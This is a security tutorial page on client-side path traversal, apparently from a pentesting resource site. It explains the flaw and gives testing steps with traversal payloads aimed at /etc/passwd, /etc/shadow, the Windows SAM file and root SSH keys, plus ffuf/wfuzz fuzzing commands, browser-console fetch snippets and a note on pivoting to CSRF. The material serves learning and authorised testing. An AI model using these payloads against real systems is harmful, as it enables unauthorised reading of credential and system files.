Client-Side Path Traversal
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Basic info
Client-side path traversal is a serious security vulnerability that occurs when an attacker manipulates file paths in web applications to gain unauthorized access to files stored on the client-side or server-side. Unlike traditional server-side path traversal attacks, client-side path traversal exploits weaknesses in web browsers, JavaScript, or local file access mechanisms. This flaw can lead to sensitive data exposure, code execution, and other security breaches.
In web applications, developers sometimes use client-side scripts to access and manipulate file paths dynamically. This can lead to vulnerabilities if user input is not properly sanitized. When a web application allows users to specify file paths without strict validation, an attacker can craft malicious inputs to access restricted files.
Common techniques include:
Modifying URL parameters to access unintended directories.
Tampering with JavaScript-based file access mechanisms.
Leveraging browser exploits to bypass security restrictions.
Impact of Client-Side Path Traversal Vulnerabilities
The consequences of a successful client-side path traversal attack can be severe:
Unauthorized access to files: Attackers can read sensitive local or remote files.
Cross-site scripting (XSS): Path traversal flaws can lead to XSS attacks when combined with improper JavaScript execution.
Local file inclusion (LFI): In some cases, attackers may execute malicious scripts by including unintended files.
Code execution: If exploited correctly, attackers may execute arbitrary code on the victim’s device.
Description
Nowadays, it is common to have a web application architecture with a back-end API and a dynamic front end such as React or Angular.
In this context, an attacker with control over the {USER_INPUT} value can perform a path traversal in order to route the victim’s request to another endpoint.
An attacker can coerce a victim into executing this unexpected request. This is the starting point of a Client-Side Path Traversal (CSPT).
A Client-Side Path Traversal can be split into two parts. The source is the trigger of the CSPT, while the sinks are the exploitable endpoints that can be reached by this CSPT.
In order to understand how we can use CSPT as an attack vector, both source and sink must be defined.
Analyze Web Requests for File Paths
Use Burp Suite, OWASP ZAP, or DevTools (F12 → Network Tab) to inspect requests containing file paths.
Look for file parameters in URLs:
https://example.com/getFile?path=/user/docs/report.pdfCheck if JavaScript fetches files:
fetch("/api/getFile?name=report.pdf")
Inspect JavaScript for File Path Manipulation
Download all JavaScript files for analysis:
wget -r -A .js https://example.com/Search for functions handling file paths:
grep -rnw '.' -e 'file'
grep -rnw '.' -e 'path'
grep -rnw '.' -e 'fetch'
grep -rnw '.' -e 'XMLHttpRequest'If you find:
document.write('<img src="' + userInput + '">');This may be vulnerable to path manipulation.
Static Code Analysis
If you have access to JavaScript files, search for dangerous functions:
grep -rnw '.' -e 'eval'
grep -rnw '.' -e 'document.write'
grep -rnw '.' -e 'innerHTML'
grep -rnw '.' -e 'window.location'Example vulnerable code:
let file = getParameterByName("file");
window.location.href = "/documents/" + file;Try modifying the parameter to escape directories:
file=../../../../etc/passwd
file=../../../../windows/win.iniTesting for Path Traversal in File Requests
Modify File Path Parameters
Find URLs with file parameters and modify them.
Original request:
GET /download?file=user-report.pdfTest with Path Traversal:
GET /download?file=../../../../etc/passwd
GET /download?file=../../../../windows/win.iniIf the response contains file contents, it's vulnerable!
Intercept Requests with Burp Suite
Open Burp Suite → Proxy → Intercept Request
Modify:
file=../../../../etc/shadow file=../../../../etc/hosts
Automate Path Traversal Testing
Use ffuf to fuzz the file parameter:
ffuf -u "https://example.com/download?file=FUZZ" -w payloads.txtExample payloads.txt:
../../../../etc/passwd
../../../../windows/system32/config/SAM
../../../../var/log/syslog
../../../../root/.ssh/id_rsaManipulating Browser-Based File Access
Try Loading Local Files
Open DevTools Console (F12) and run:
fetch("file:///etc/passwd")If this succeeds, the application allows local file access.
Modify Fetch Requests in Console
If you find:
fetch("/files/user-data.json")Test modifying it:
fetch("/files/../../../../etc/passwd")Use XMLHttpRequest to Fetch Local Files
XMLHttpRequest to Fetch Local Filesvar xhttp = new XMLHttpRequest();
xhttp.open("GET", "../../../../etc/passwd", false);
xhttp.send();
console.log(xhttp.responseText);Testing Web Storage (LocalStorage, SessionStorage)
Check for Stored File Paths
In DevTools Console (F12), run:
console.log(localStorage);
console.log(sessionStorage);
console.log(document.cookie);Modify Stored Paths
If a file path is stored in localStorage, modify it:
localStorage.setItem('configPath', '../../../../etc/passwd');
sessionStorage.setItem('userFile', '../../../../windows/system32/config/SAM');Then refresh the page and check if the file loads.
Exploiting Weak Browser Security Policies
Check Content Security Policy (CSP)
Open DevTools (F12) → Network → Headers
Look for:
Content-Security-Policy: default-src 'self'If it allows file:// URLs, it may be exploitable.
Inject JavaScript to Load Arbitrary Files
let script = document.createElement('script');
script.src = '../../../../etc/passwd';
document.body.appendChild(script);Automated Path Traversal Scanning
Nikto (Quick Scanner)
nikto -h https://example.comwfuzz (Path Traversal Fuzzing)
wfuzz -c -z file,wordlist.txt --hh 404 "https://example.com/download?file=FUZZ"CSPT to CSRF
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
POST CSRF ?
✅
✅
Can control the body ?
✅
❌
Can work with anti-CSRF token ?
❌
✅
Can work with Samesite=Lax ?
❌
✅
GET / PATCH / PUT / DELETE CSRF ?
❌
✅
1-click CSRF ?
❌
✅
Does impact depend on source and on sinks ?
❌
✅
Learn & practice For the OSCP.
Last updated
Was this helpful?
